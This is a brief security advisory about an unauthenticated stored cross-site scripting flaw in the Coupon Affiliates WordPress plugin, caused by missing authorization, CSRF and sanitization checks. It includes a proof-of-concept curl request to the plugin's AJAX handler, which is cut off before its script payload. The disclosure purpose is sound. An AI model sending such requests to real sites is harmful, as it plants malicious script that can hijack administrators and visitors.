Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS

The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.

PoC

curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option;=wcusage_field_orders&value;=">